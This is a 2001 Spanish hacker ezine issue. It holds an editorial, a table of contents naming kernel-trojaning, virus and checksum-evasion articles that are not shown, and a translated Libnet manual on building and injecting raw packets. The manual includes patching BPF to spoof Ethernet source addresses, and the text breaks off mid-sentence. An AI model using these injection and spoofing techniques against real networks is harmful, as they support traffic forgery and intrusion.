Copy Link
Add to Bookmark
Report
7A69 Issue 12
_|_|_|_|_| _|_| _|_|_| _|_|
_| _| _| _| _| _|
_| _|_|_|_| _|_|_| _|_|_|
_| _| _| _| _| _|
_| _| _| _|_| _|_|_|
-~=( 7A69#Ezine )=--=( 12 )=--=( Septiembre 2001 )=~-
` '
=[ Editor => Ripe : ripe@7a69ezine.org ]=
=[ Coeditor => Trycky : trycky@7a69ezine.org ]=
=[-------------------=[ Staff ]=-------------------]=
|| => Tahum : tahum@7a69ezine.org ||
|| => Doing : doing@7a69ezine.org ||
|| => tuxisuau : tuxisuau@7a69ezine.org ||
|| => IReick : ireick@7a69ezine.org ||
|| => Anarion : anarion@manresa.net ||
=[----------------=[ Colaboradores ]=--------------]=
|| => Fkt : fkt@funfatal.org ||
|| => IaM : 1am@gmx.net ||
|| => bzero : bzero@marihuana.com ||
|| => N4XoR : ?@? ||
|| => Anonimo : ?@? ||
=[--------------------=[ Info ]=-------------------]=
|| Email Oficial => staff@7a69ezine.org ||
|| Web => http://www.7a69ezine.org ||
=[------------------=[ Mirrors ]=------------------]=
|| http://www.7a69ezine.8m.com ||
|| http://tuxisuau.7a69ezine.org/7a69/ ||
|| http://trycky.7a69ezine.org/7a69/ ||
=[---------------=[ Distribuidores ]=--------------]=
|| http://www.zine-store.com.ar ||
|| http://dtfzine.cjb.net ||
-~=( 7A69#Ezine )=--=( 12 )=--=( Septiembre 2001 )=~-
-={ Num }=-={ Articulo }=-={ Autor }=-={ Tema }=-
||-----\---/----------------------------\---/---------\---/--------------||
-{ 01 }=-={ Presentacion. }=-={ Staff }=-={ Editorial }-
-{ 02 }=-={ Libnet Reference Manual. }=-={ Fkt }=-={ Programacion }-
-{ 03 }=-={ Protocolo DNS. }=-={ IaM }=-={ Protocolos }-
-{ 04 }=-={ Linux LKMs; Troyanizando }=-={ Ripe }=-={ Hacking }-
{ el kernel. }
-{ 05 }=-={ Seguridad; Vision general. }=-={ Anonimo }=-={ Seguridad }-
-{ 06 }=-={ Estructuras de logs en }=-={ Kynes }=-={ Seguridad }-
{ sistemas UNIX. }
-{ 07 }=-={ HAL2001 & No kiddies }=-={ Ripe }=-={ Info/Humor }-
-{ 08 }=-={ Virus en perl. }=-={ Anarion }=-={ Virii }-
-{ 09 }=-={ Evadiendo md5sum. }=-={ IReick }=-={ Hacking }-
-{ 10 }=-={ Cortos. }=-={ Varios }=-={ Varios }-
-{ 11 }=-={ 7a69Soft }=-={ Varios }=-={ Software }-
-{ 12 }=-={ Correo del lector... }=-={ Staff }=-={ Editorial }-
-{ 13 }=-={ LLaves PGP. }=-={ Staff }=-={ Editorial }-
-{ 14 }=-={ Despedida. Bye bye. }=-={ Staff }=-={ Editorial }-
||-----/---\----------------------------/---\---------/---\--------------||
7a69ezine (c) 1999-2001 : staff@7a69ezine.org
*EOF*
-=( 7A69#12 )=--=( art1 )=--=( Presentacion )=--=( Staff )=-
Se marcha el verano, el calor, y llegamos nostros, y pisando fuerte. Muchos
cambios (de entrada en la web), puchos mas proyectos, y muchisimas ganas de
trabajar para que 7a69 sea tu ezine favorita, motivados, como no, por la
competencia (competencia sana, claro esta) que llega desde ezines como
NetSearch, o SET (seguiran estos ultimos despues de lo ocurrido? esperamos
que si).
Vereis que en este numero de 7a69 hay menos articulos que en numero
anteriores, pero esto no es malo, pues la calidad de los articulos, es en mi
opinion muy buena, ademas dos de los articulos son realmente largos (el
de LKMs en linux y la traduccion de la libnet reference manual), asi que
teneis horas y horas de entretenimiento aseguradas.
¿He nombrado la palabra proyecos? Humm, si. ¿Cuales? Pues varios. Desde la
creacion de listas de correo (serias, o eso esperamos) sobre diversos temas
relacionados con la seguridad iformatica, a ASD (AdvSecureNet), que
pororcionara advertencias de seguridad via e-mail o SMS. Pero esto no es todo,
ni mucho menos, ya ireis viendo las cosas segun vayan apareciendo :)
¿Que aun no te crees que hayamos vuelto? Hemos, tardado, si. Lo sentimos. Pero
seguimos al pie del cañon, y 7a69#13 saldra!! tened lo por seguro (solo el fin
del mundo pordria evitarlo, y esperemos que la guerra que se avecina no
llegue a eso).
Sin mas dilaciones os invitamos a disfrutar de este numero de 7a69, disfruta!
*EOF*
-=( 7A69#12 )=--=( art2 )=--=( Libnet Reference Manual )=--=( Fkt )=-
Traducción De:
-------------------------[ The Libnet Reference Manual v.01 ]
--------[ route <route@infonexus.com> ]
por fkt <fkt@funfatal.org> <www.funfatal.org>
Documento original publicado en la Phrack #55
Antes de nada decir que este texto ha sido traducido con el permiso del autor
y que hay algunas palabras que no están traducidas por ser tecnicismos o por
no encontrar una buena traducción en español.
----[ 1] Impetus
Si has tenido que aprender C (por vocación o por hobby) y has llegado al pun-
to, en el que debes inyectar paquetes en una red, y los API's tradicionales
te son insuficientes, libnet es para ti. Libnet ofrece una simple API para
construir paquetes y programas de red de uan forma facil y sencilla.
Libnet está escrito por 2 razones principales. 1) Para establecer un sencillo
interfaz por el cual los programadores de red puedan ignorar los detalles de
la programaci¢n de red a bajo nivel (y asi poder concentrarse en escribir sus
programas). 2) Para mitigar la irritación de mucho programadores de red expe-
rimentados debido a la carencia de normas.
Siendo honesto, yo no puedo entender como alguien no escribió algo como lib-
net (tambin llamado "libpwrite") hace tiempo. Parece como un obvio espacio
que necesitaba ser rellenado. Libnet es un inyector de paquetes an logo a
libpcap. Son hermanos (o hermanas).
En resumen, esto es un tratado en el arte de crear paquetes de red es efi-
ciente, consistente y portable usando libnet.
Libnet en si mismo no tiene nada que ver con la seguridad. Sin embargo,
libnet es una maravillosa herramienta para escribir aplicaciones de seguridad
herramientas y modulos. Muchos exploits recientes han sido codeados rápida-
mente usando libnet asi como muchas herramientas de seguridad. Echa un vis-
tazo a la secci¢n de proyectos de la web de libnet para ver algunos ejemplos.
----[ 2] Una Vista por Encima
Libnet es una simple librería en C. Esta diseñada para ser pequeña, eficiente
y facil de usar. La mayor ventaja de libnet es la portabilidad de la creación
e inyección de paquetes. Cuando yo estaba escribiendo este manual, Libnet es-
taba en su version 0.99f y ten¡a 15 ensambladores de paquetes diferemtes y 2
tipos de inyección de paquetes, IP-Layer y link-layer. (Más informaci¢n a
continuación)
Con libnet puedes construir e inyectar paquetes a la red. Libnet, sin embargo
no puede capturar paquetes, para esto estan las libpcap. Juntas, libnet y
libpcap son las herramientas más potentes disponibles al programador de redes.
Libnet consiste en:
- 7300 lineas de código
- 32 ficheros fuente
- 5 ficheros include
- Aprox. 54 funciones
- Aprox. 43 funciones implementadas accesibles al usuario
----[ 3] Decisiones de Diseño (Pasado, Presente y Futuro)
Libnet es un proyecto en progresión. Cuando yo empecé hhace mas o menos un ño
y medio, yo no tenía idea de como iba a crecer y que funcionalidad llegaría a
tener. El diseño de libnet no ha cambiado mucho en sus distintas etapas.
Muchos de estos cambios son dificiles de implementar y están en progreso,
mientras que otros son solo un simple cambio interno. Cuando hubo modifica-
ciones en la libreria desafortunadamente cambió el interfaz. En esta sección
yo espero ilustrar al lector sobre las decisiones de diseño que hay en libnet
donde estuvo, donde está, y donde llegará.
Modularidad (Interfaces e Implementaciones)
-------------------------------------------
Los grandes programas están compuestos por varios módulos. Estos módulos pro-
veen al usuario las funciones y las estructuras de datos que puede usar en su
programa. Un módulo se compone de 2 partes: la interfaz y la implementaci¢n.
La interfaz especifica que hace el módulo y la implementaci¢n especifica como
lo hace. En el interfaz se declaran todos los tipos de datos, funciones, in-
formación global, macros o lo que necesito el módulo. La implementación se
adhiere a la especificaci¢n que hay en el interfaz. As¡ es como libnet est
diseñada. Cada implementación, que encontrarás, tiene su correspondiente in-
terfaz.
Hay una tercera pieza del puzzle: el cliente. El cliente es la pieza de có-
digo que importa y que emplea el interfaz, sin tener que ver la implementa-
ción. Tu código es el cliente.
Para mas informaci¢n sobre interfaces e implementaciones en C, impulso al
lector al anexo #3. Es un excelente libro que cambiar tu forma de escribir
código.
Nomenclatura
------------
Inicialmente, el nombre de los ficheros, funciones y otras esquisiteces no
parece ser importante. Tienen los nombres que parecieron adecuados en su
momento. En un programa autónomo (standalone), esto es un mal estilo. En una
librer¡a es un mal estilo y ademas predispone potencialmente al error. El có-
digo de la libreria está hecho para ser usado es diferentes plataformas y con
otras librer¡as. Si una de esas librerías contiene algún objeto con el mismo
nombre surgen problemas. Por lo tanto, el nombre de los ficheros cobra impor-
tancia. Una nomenclatura estricta ayuda en 2 areas principalmente:
- para que los nombres de archivos queden ordenados en un directorio
para una fácil lectura
- para los nombres de las funciones, macros, s¡mbolos reduce los pro-
blemas de redefinición y hacen el interfaz mucho más f cil de en-
tender
Manejando e Informando de Errores
---------------------------------
Manejar e informar de los errores es una parte esencial de cualquier paradig-
ma de la programación. Manejar delicadamente y recuperar condiciones de error
es una necesidad absoluta, especialmente en la tercera parte de la librer¡a.
Yo pienso que libnet tiene un manejo decente de errores. Puede recuperarte de
muchas malas situaciones mas o menos satisfactoriamente. Chequea buscando
condiciones ilegales en muchas circustancias. Informando, sin embargo, es
otra historia diferente y está en progreso. Libnet necesita tener un manejo
de errores standard. Actualmente, muchas funciones usan errno, mientras que
algunas aceptan un buffer adicional como argumento para almacenar el mensaje
de error, y todavía otras no informan de lso errores. Esto tiene que cambiar
y posiblemente pueda ser logrado usando listas de argumento variables.
Asertos y Puntos de Salida
--------------------------
assert(3) es una macro que acepta un solo argumento al cual trata como una
expresión, evaluando su veracidad. Si la expresión es evaluada para ser falsa
el macro assert imprime un mensaje de error y aborta (termina) el programa.
Las aserciones (asertos) son útiles en la etapa de desarrollo de un programa
para detectar los errores. Inicalmente libnet se hizo con asertos. Libnet
principalmente utilizó asertos para detectar punteros a NULL antes de que
ocurriesen - Si tú pasas un puntero nulo cuando no debes, tu programa petará.
Sin embargo, los asertos también sirven para detectar numerosos puntos de sa-
lida no predecibles. Los puntos de salida dentro de una librería suplementa-
ria como libnet es un mal estilo, deja solos a los puntos de salida no prede-
cibles. El código de la librería no debe causar o dejar al programar terminar
Si una condici¢n de error grave es detectada, la librería debe devolver el
código del error al principal, y dejar que decida que hacer. El código debe
ser capaz de manejar errores graves lo suficentemente bien como para salir
satisfactoriamente al nivel superior (si es posible). En cualquier caso,
los asertos fueron suprimidos en la version 0.99f en favor de que indique el
código del error. Ésto preserva la compatibilidad, mientras suprime los pun-
tos de salida.
IPv4 vs IPv6
------------
Libnet actualmente solo soporta IPv4. El soporte para IPv6 esta definitiva-
mente planificado. La principal consideraci¢n es la nomenclatura. Yo me anti-
cipé a esto y ñ¤aí¡ la version del IP en los nombres de las funciones y ma-
cros, por ejemplo: ipv4_build_ip, IPV4_H. Sin embargo en este punto, yo no
quiero forzar a los usuarios a adoptar otra interfaz, ya que las funciones de
IPv6 y las macros tendr n IPv6 en el nombre.
El Script de Configuración
--------------------------
En los inicios del desarrolo de libnet, estaba claro que habia muchos OS y
arquitecturas y necesitaban código diferente cada una. El autoconf (circa
version 0.7) iba bien para determinar cual cosas habia que excluir e incluir,
pero no daba soporte post-insatalaci¢n. Muchos de esos macros CPP eran nece-
sarios condicionalmente de la arquitectura. Esto rápidamente de demostró ine-
ficaz porque el usuario habia de definir las macros apropiadas.
Libnet ahora emplea un simple script de configuración. Este script es creado
durante la configuracion y es instalado con la librería. Esto hace que maneje
distintos OS y arquitecturas automáticamente - sin embargo, ahora es obliga-
torio usarlo. No serás capaz de compilas libnet sin él. Lee la siguiente
sección para ver los detalles al invocar el script.
----[ 4] A Means to an Ends *NO SE QUE CO¥O SIGNIFICA ESTO*
Esta secci¢n cubre cuestiones operacionales para emplear la librería de una
forma útil.
El Orden de las Operaciones
---------------------------
Este es el orden a seguir para construir e inyectar un paquete en la red, hay
un orden de operaciones standard a seguir. Estos son los 5 faciles pasos para
inyectar un paquete:
1) Inicialización de la Red
2) Inicialización de la memoria
3) Construcción del Paquete
4) Hacer el Checksum del Paquete
5) Inyectar el Paquete
Cada uno de estos pasos es importante y se explican a continuación.
Asignar e Inicializar la Memoria
--------------------------------
El primer paso usando libnet es asignar memoria para el paquete. La manera
convencial de hacerlo el llamando a la funci¢n libnet_init_packet(). Tú solo
necesitas estar seguro de que has reservado suficiente memoria para cualquier
paquete que vayas a construir. Esto también requeriá algo de conocimiento
sobre el metodo de inyección que vas a usar. Si vas a construir un simple pa-
quete TCP con 30 bytes de payload usando el interfaz IP-Layer, necesitarás 70
bytes (Cabecera IP + Cabecera TCP + payload). Si vas a construir el mismo pa-
quete pero usando el interfaz link-layer necesitarás 84 bytes (Cabecera Ether
net + Cabecera IP + Cabecera TCP + payload). Para estar seguro de que reser-
vas memoria suficiente declaras IP_MAXPACKET bytes (65535) y no tendrás que
preocuparte por los overflows. Cuando acabes de usar la memoria, se libera
llamando a libnet_destroy_packet() (esto se puede hacer en una función que
recolecte basura o al final del programa).
Otro mtodo para asignar memoria es via interfaz arena. Arena es á sicamente
los fondos de memoria que asignan los pedazon grandes en una sola llamada,
cuando ya no uses la memoria has de liberar todo el fondo. La interfaz de
libnet arena es útil cuando quieres preload de diferentes tipos de paquetes
que vas a escribir uno tras otro rápidamente. Esto se inicializa llamando a
libnet_init_packet_arena() y los pedazos son accesibles con
libnet_next_packet_from_arena(). Cuando acabes de usar la memoria reservada
se libera llamando a libnet_destroy_packet_arena().
Una nota importante sobre el manejo de la memoria y la construcci¢n de paque-
tes: Si tu no reservas suficiente memoria para el tipo de paquete que estás
construyendo tu programa probablemente de segfault. Libnet puede detectar si
no has reservado *ninguna* memoria, pero no si no has reservado la suficiente
Ten cuidado.
Inicialización de la Red
------------------------
El próximo paso es levantar el interfaz al que vamos a inyectar. Con IP-layer
esto ser har¡a llamando a libnet_open_raw_sock() pasándole como argumento el
protocolo adecuado (normalmente IPPROTO_RAW). Esta función nos devuelve un
socket raw con IP_HDRINCL lo que le dice al kernel que nosotros llenaremos la
cabecera IP.
Con link-layer se haría llamando a libnet_open_link_interface() con el argu-
mento apropiado.Ésta funcó¢n devuelve un puntero a la estructura de la in-
terfaz.
Contrucci¢n del Paquete
-----------------------
Los paquetes son construidos modularmente. Para cualquier capa del protocolo,
debe haber una correspondiente funcion a libnet_build. Dependiendo de tu fi-
nalidad, pueden pasar diferentes cosas aquí. Para el ejemplo anterior del
IP-Layer, las llamadas a libnet_build_ip() y libnet_build_tcp() serán hechas.
Para el ejemplo con link-layer se ha de hacer una llamada adicional a
libnet_build_ethernet(). El orden con la que llamemos a la funciones para
construir el paquete no es importante, solo es importante las posiciones de
memoria que se les pase a las funciones. Las funciones necesitan construir
las cabeceras del paquete dentro del buffer tal y como aparece en el cable y
son demultiplexadas por el que lo reciba. Por Ejemplo:
14 bytes 20 bytes 20 bytes
__________________________________________________________
| ethernet | IP | TCP |
|______________|____________________|____________________|
libnet_build_ethernet() se pasaría al buffer entero. libnet_build_ip() cogería
los 14 bytes del buffer (ETH_H) mas allá de esto para construir la cabecera
IP en su posición correcta, mientras que libnet_build_tcp() cogería los 20
bytes dle buffer mas allá de esto (o los 34 bytes mas allá del principio
(ETH_H + IP_H). Esto es evidente en el código de ejemplo.
Hacer el Checksum del Paquete
-----------------------------
El próximo paso es hacer el checksum del paquete (Asumiendo que el paquete es
un paquete IP de alguna clase). Para el interfaz IP-Layer, no tendremos que
hacer nada, se hace automáticamente. Para el interfaz link-layer el checksum
se calcula llamando a la función libnet_do_checksum(), la cual esperaá el
buffer pasado para apuntar a la cabecera IP del paquete.
Inyectar el Paquete
----------------------
El último paso es escribir el paquete en la red. Usando IP-Layer esto se hace
con libnet_write_ip(), y con link-layer se hace con libnet_write_link_layer()
Éstas funciones devuelven el ú£mero de bytes escritos (los cuales deben coin-
cidir con el tamaño de tu paquete) o devolver -1 en caso de error.
Usando el Script de Configuarci¢n
---------------------------------
Hay alguna confusión en como corregir la implementación del libnet-configure
shell script. Desde la versión 0.99e, es obligatorio usar este script. La li-
brería no compilará sin él. Esto es para evitar posibles problemas cuando el
usuario compile con las macros CPP incorrectas. Este script también tienel s
especificaciones para la librería y cflags.
El switch de la librería es útil en arquitecturas que requieran librerías adi-
cionales para compilar código de red (como Solaris). Este script es muy fácil
de usar. Los siguientes ejemplos deberían disipar cualquier confusión:
En la linea de comandos tú puedes ejecutar el script y ver cuales defines
son usadas para ese sistema
shattered:~> libnet-config --defines
-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H
-DLIBNET_LIL_ENDIAN
shattered:~> gcc -Wall `libnet-config --defines` foo.c -o foo
`libnet-config --libs`
En un Makefile:
DEFINES = `libnet-config --defines`
En un Makefile.in:
DEFINES = `libnet-config --defines` @DEFS@
IP-Layer vs Link-layer
----------------------
La gente algunas veces usa el interfaz IP-Layer en lugar del link-layer.
Esto es principalmente por lo poderoso y facil de usar. El interfaz link-la-
yer es ligeramente más complejo y requiere más código. Es también áas potent
y más portable (si necesitas construir ARP/RARP/ethernet frames es la única
salida).
Una cuestión principal con el link-layer es que para mandar paquetes a un host
en Internet, necesita saber la dirección MAC de si primer router hop. Esto se
consigue via paquetes ARP, pero el proxy ARP no está hecho, te encontrarás
con muchos tipos de problemas para determinar cual es la direcci¢n MAC a pe-
dir. Este problema está siendo tratado.
Spoofeando Direcciones Ethernet
-------------------------------
Ciertos sistemas operativos (especificamente los que usan el Berkeley Packet
Filter para acceso link-layer) no permiten especificaiones arbitrarias para
las direcciones de origen ethernet. Esto no es un bug sino un descuido en el
protocolo. La manera de solucionarlo es parcheando el kernel. Hay 2 formas de
parchear el kernel, estáticamente, con kernel diffs (lo que requiere tener el
fuente del kernel, y saber como recompilar e instalar un nuevo kernel) o di-
námicamente, con modulos del kernel (lkm). Ya que es un poco coñazo parchear
el kernel para una librería, libnet incluye lkm para parchear la restricción
bpf.
Para spoofear paquetes ethernet en sistemas basados en bpf (actualmente son
FreeBSD y OpenBSD) hacer lo siguiente: cd al directorio soporte/bpf-lkm/,
copilar el módulo y cargarlo.
El módulo funciona como dice la siguiente descripción:
El el drive ethernet de la maquina 4.4BSD no permite capas superiores para
construir la dirección ethernet de origen, y el proceso copia explicitamente
la direcci¢n MAC registrada en el interfaz en esta cabecera.
Esto es ambiguo, porque la convenci¢n de escritura bpf aserta que escribir a
bpf debe incluir una cabecera link-layer; esto es intuitivo para asumir cual
cabecera es, junto con el resto de los datos del paquete, escrito al cable.
Este no es el caso. La cabecera link-layer es usada únicamente por el código
bpf para construir una estructura sockaddr que es pasada a la rutina ethernet
de salida genérica; la cabecera es entonces eficazmente quitada del paquete.
La rutina de salida ethernet consulta esta sockaddr para obtener el tipo
ethernet y la dirección de destino, pero no la dirección de origen.
El lkm libnet simplemente reemplaza la rutina de salida ethernet standard con
una ligeramente modificada. Esta versión modificada coge la dirección de ori-
gen del sockaddr y la usa como direcci¢n de origen en la cebecera escrita en
el cable. Esto permite que bpf sea usado a la perfección para construir paque
tes ethernet en su totalidad , el cual tiene aplicaciones en el manejo de di-
recciones.
La cola del modload proporcioada atraviesa la lista global de interfaces del
sistema, y reemplaza cualquier punteo a la rutine de salida ethernet original
con la nueva dada. La cola del unload quita ésto. El efecto de cargar este
módulo será que todos los interfaces ethernet en el sistema soportarán la
construcción de la dirección de origen.
Thomas H. Ptacek escribió la primera versión de este lkm en 1997.
Limitaciones de los Raw Sockets
-------------------------------
Los raw sockets son horriblemente no standards en las diferentes palataformas
- Sobre algun x86 BSD implementación la longitud y fragmentaci¢n de la cabe-
cera IP necesita ser en host byte order, y sobre otros, network byte order.
- Solaris no permite que tú pongas muchos campos de la cabecera IP como la
longitud, flags de fragmentaci¢n, o opciones IP.
- Linux, por otra parte, parece dejar cambiar cualquier bit a cualquier campo
(a excepción del checksum, que es siempre puesto por el kernel).
Por estos caprichos, a no ser que tu código no este diseñado para ser multi
plataforma, deberías usar el interfaz link-layer de las libnet.
----[ 5] Especificaciones Internas
Libnet puede dividirse en 4 secciones básicas: manejo de memoria, resolución
de direcciones, manejo de paquetes, y soporte. En esta sección nosotros cu-
briremos todas las funciones accesibles al usuario que ofrece libnet.
Diré lo que devuelve en cada caso, si es o no reentrante (reentrante quiere
decir que puede ser llamada repetidamente, o puede ser llamada antes de que las
llamadas anteriores hayan terminado), también pondér los argumentos que se le
pasan a cada una.
Si te preguntas, si, esto es basicamente una pagina del man explicada, sin
embargo, hay muchas cosas añadidas que no están en las paginas man.
Funciones de Gestión de Memoria
------------------------------
int libnet_init_packet(u_short, u_char **);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - tamaño del paquete deseado
2 - puntero a caracter puntero que contiene la memoria del paq
libnet_init_packet() asigna memoria para el paquete. Bien, esto no crea
tanta memoria como pide el OS. Lo hace, sin embargo, hace que ciertas par-
tes de la memoria están rellenada con ceros. La funcó¢n acepta 2 argumentos
el tamaño del paquete y la dirección del puntero al paquete. El tamaño del
paquete debe ser 0, en este caso la librería intentar asignarle un tamaño.
El puntero al puntero es necesario que est en memoria local. Si nosotros
pasaramos un puntero la memoria se perdería. Si lo pasamos por dirección
conservaremos la memoria.
Esta función es un buen ejemplo de esconder la interfaz. Esta función es
como malloc(). Usando esta función los detalles que pasen no lo ve el pro-
gramador, no has de preocuparte por hacerlo a mano.
void libnet_destroy_packet(u_char **);
Devuelve si acaba bien: N/A
Devuelve si hay error: N/A
Reentrante: Sí
Argumentos: 1 - puntero a puntero carácter que contiene la memoria del paq
libnet_destroy_packet() es el free() análogo a libnet_init_packet. Destruye
el paquete referenciado por 'buf'. En realidad, es como free(). Libera la
memoria y apunta 'buf' a NULL. Es pasado un puntero a puntero para mantener
la consistencia del interfaz.
int libnet_init_packet_arena(struct libnet_arena **, u_short, u_short);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a puntero arena
2 - número de paquetes
3 - tamaño del paquete
libnet_init_packet_arena() reserva e inicializa un fondo de memoria. Si tú
pretendes fabricar y mandar muchos paquetes diferentes, esta es la elección
acertada. Reserva un fondo de memoria del cual tu puedes coger trozos para
construir paquetes (ver next_packet_from_arena()). Coge la dirección al
puntero de la estructura arena, y averigua sobra el tamaño posbiel del pa-
quete y el número de paquetes. Los 2 últimos argumentos son usados para el
tamaño de el fondo de memoria. Como antes, se pueden poner a 0 y la libre-
ría intentará elegir el valor adecuado. La función devuelve -1 si malloc
falla o 1 si todo va bien.
u_char *libnet_next_packet_from_arena(struct libnet_arena **, u_short);
Devuelve si acaba bien: puntero a la memoria del paquete pedido
Devuelve si hay error: NULL
Reentrante: Sí
Argumentos: 1 - puntero a puntero arena
2 - tamaño del paquete pedido
libnet_next_packet_from_arena() devuelve un trozo de memoria de la arena
especificada y el tamaño y decrementa el contandor de bytes deisponibles.
Si la memoria pedida no está disponible en la arena, la función devuelve
NULL. Nota: Nada te impide hacer un programa que use mas memoria de la pe-
dida lo que causaría multiples problemas.
void libnet_destroy_packet_arena(struct libnet_arena **);
Devuelve si acaba bien: N/A
Devuelve si hay error: N/A
Reentrante: Sí
Argumentos: 1 - puntero a puntero arena
libnet_destroy_packet_arena() libera la memoria asociada con la arena espe-
cificada.
Funciones de Resolución de Direcciones
--------------------------------------
u_char *libnet_host_lookup(u_long, u_short);
Devuelve si acaba bien: direcci¢n IP "decente"
Devuelve si hay error: NULL
Reentrante: No
Argumentos: 1 - direccion IP en formato network-byte
2 - flag para especificar si resolver o no a hosts canónicos
libnet_host_lookup() convierte el la IP network-ordered dada en una "decen-
te". Si el flag es LIBNET_RESOLVE, la función intentará resolver la direc-
ción IP y devolver un host canónico, si el flag es LIBNET_DONT_RESOLVE (o
falla al resolver), la función devuelve una cadena ASCII dotted-decimal.
void libnet_host_lookup_r(u_long, u_short, u_char *);
Devuelve si acaba bien: N/A
Devuelve si hay error: N/A
Reentrante: Puede
Argumentos: 1 - dirección IP en formato network-byte
2 - flag para especificar si resolver o no a host canónicos
libnet_host_lookup_r() está planificada para que sea la versión reentrante
de la anterior. En cuanto las librerías de resolver estén disponibles, esta
función será reentrante. Un argumento adicional es para un buffer que alma-
cene la direcci¢n IP resuelta.
u_long libnet_name_resolve(u_char *, u_short);
Devuelve si acaba bien: direcci¢n IP en formato network-byte
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - hostname "decente"
2 - flag para especificar si resolver o no a host canónicos
libnet_name_resolve() coge una cadena ASCII que termine en NULL de una di-
rección IP (puntos y decimales o, si el flag es LIBNET_RESOLVE, host canó-
nico) y la convierte en un valor network-ordered unsigned long (u_long).
u_long libnet_get_ipaddr(struct link_int *, const u_char *, const u_char *);
Devuelve si acaba bien: la dirección IP pedida
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a la estructura interfaz link
2 - puntero al dispositivo a preguntar
3 - puntero al buffer que contendr el posible mensaje de error
libnet_get_ipaddr() devuelve la IP del dispositivo de red especificado. La
función toma un puntero a estructura de interfaz link layer, un puntero al
nombre del dispositivo de red, y un buffer vacío que será usado en caso de
error. Si va bien la función devolverá la direcci¢n IP del interfaz especi-
ficado en formato network-byte order o 0 si hay error (y el buffer de error
tendrá el mensaje de error).
struct ether_addr *libnet_get_hwaddr(struct link_int *, const u_char *,
const u_char *);
Devuelve si acaba bien: la dirección ethernet especificada (dentro de la
estructura ether_addr)
Devuelve si hay error: NULL
Reentrante: depende de la arquitectura
Argumentos: 1 - puntero a la estructura interfaz link
2 - puntero al dispositivo a preguntar
3 - puntero al buffer que contendr un posible mensaje de error
libnet_get_hwaddr() devuelve la dirección de hardware del dispositivo de
red especificado. Al tiempo que yo escribía esto, solo soportaba ethernet.
La función coge un puntero a la estructura interfaz link-layer, un puntero
al nombre del dispositivo de red, y un buffer vacío que será usado en caso
de error. La función devuelve la dirección MAC del dispositivo de red espe-
cificado si va bien o un 0 si hay error (y el buffer contendrá el mensaje).
Funciones Para el Manejo de Paquetes
------------------------------------
int libnet_open_raw_sock(int);
Devuelve si acaba bien: un descriptor de socket abierto
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - el número del protocolo del socket
libnet_open_raw_sock() abre un socket raw IP con el tipo protocolo especi-
ficado (los tipos soportados son varios dependiendo del sistema, pero nor-
malmente tu querrás abrir un socket con IPPROTO_RAW). Esta función también
pone la opción IP_HDRINCL al socket. Devuelve el descriptor del socket si
va bien y -1 si hay error. La función puede fallar si la llamada a socket
o a setsockopt falla. Mirando el errno sabrás la razón del error.
int libnet_close_raw_sock(int);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - descriptor del socket a cerrar
libnet_close_raw_sock() cierra el socket que se le pasa como argumento.
int libnet_select_device(struct sockaddr_in *, u_char **, u_char *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: No
Argumentos: 1 - puntero a la estructura sockaddr_in
2 - puntero a puntero car cter que contieneel dispositivo
3 - puntero al buffer que contendrá el posible mensaje de error
libnet_select_device() irá por la lista de interfaces y seleccionará uno
para usarlo (ignorando el loopback). Si el argumento del dispositivo apunta
a NULL (no pasar un puntero a NULL, la función espera un puntero a puntero,
y C no puede dereferenciar un puntero a NULL) intentará llenarlo con el
primer dispositivo que no sea loopback que encuentre, si no, intentará
abrir el dispositivo especificado. Si va bien, devuelve un 1 (y si el dis-
positivo es NULL, ahora contendrá el nombre del dispositivo que puedes usar
en las funciones libnet *link*()). La función puede fallar por varias razo-
nes, incluyendo fallos de llamadas al sistema de socket, fallos ioctl, si
no encuentra interfaces, etc... Si algún error ocurre, devuelve -1 y el buf
de error contendrá la razón.
struct link_int *libnet_open_link_interface(char *, char *);
Devuelve si acaba bien: estructura link-layer rellenada
Devuelve si hay error: NULL
Reentrante: Sí
Argumentos: 1 - puntero a carácter que contiene el dispositivo a abrir
2 - puntero al buffer que contendá el posbile mensaje de error
libnet_open_link_interface() abre un interfaz de paquete a bajo nivel. Esto
es requisito para poder inyectar paquetes con link-layer. Se le pasa un
puntero u_char al nombre del interfaz del dispositivo y un puntero u_char
al buffer de error. Devuelve una estructura link_int llena o NULL en caso
de error (con el buffer de error con la razón). La función puede fallar por
varias razones que dependen de la arquitectura.
int libnet_close_link_interface(struct link_int *);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a una estructura link_int para ser cerrada
libnet_close_link_interface() cierra un interfaz de paquetes de bajo nivel
abierto.
int libnet_write_ip(int, u_char *, int);
Devuelve si acaba bien: número de bytes escritos
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - descriptor del socket
2 - puntero al buffer del paquete que contiene el datagrama IP
3 - tamaño total del paquete
libnet_write_ip() escribe un paquete IP en la red. el primer argumento es
el socket creado con un llamada previa a libnet_open_raw_sock(), el segundo
es un puntero al buffer que contiene el datagrama IP completo, y el tercer
argumento es el tamaño total del paquete. La función devuelve el número de
paquetes escritos si va bien o -1 en caso de error (y errno contendrá la
razón).
int libnet_write_link_layer(struct link_int *, const u_char *, int);
Devuelve si acaba bien: número de bytes escritos
Devuelve si hay error: -1
Reentrante: Sí
Argumentos: 1 - puntero a una estructura link_int abierta
2 - puntero a un dispositivo de red
3 - puntero al buffer del paquete
4 - tamaño total del paquete
libnet_write_link_layer() escribe una capa link-layer a la red. el primer
argumento es un puntero a una estructura libnet_link_int llena, el siguien-
te es un puntero a un dispositivo de red, el tercero es el paquete raw y el
último es el tamaño del paquete. Devuelve el número de bytes escritos o -1
en caso de error.
int libnet_do_checksum(u_char *, int, int);
Devuelve si acaba bien: 1
Devuelve si hay error: -1
Reentrante: S¡
Argumentos: 1 - puntero al buffer del paquete
2 - número del protocolo del tipo del paquete
3 - tamaño total del paquete
libnet_do_checksum() calcula el checksum para un paquete. El primer argu-
mento es un puntero a un paquete IP completamente construido. El segundo es
el protocolo de transporte del paquete y el tercero es el tamaño del paque-
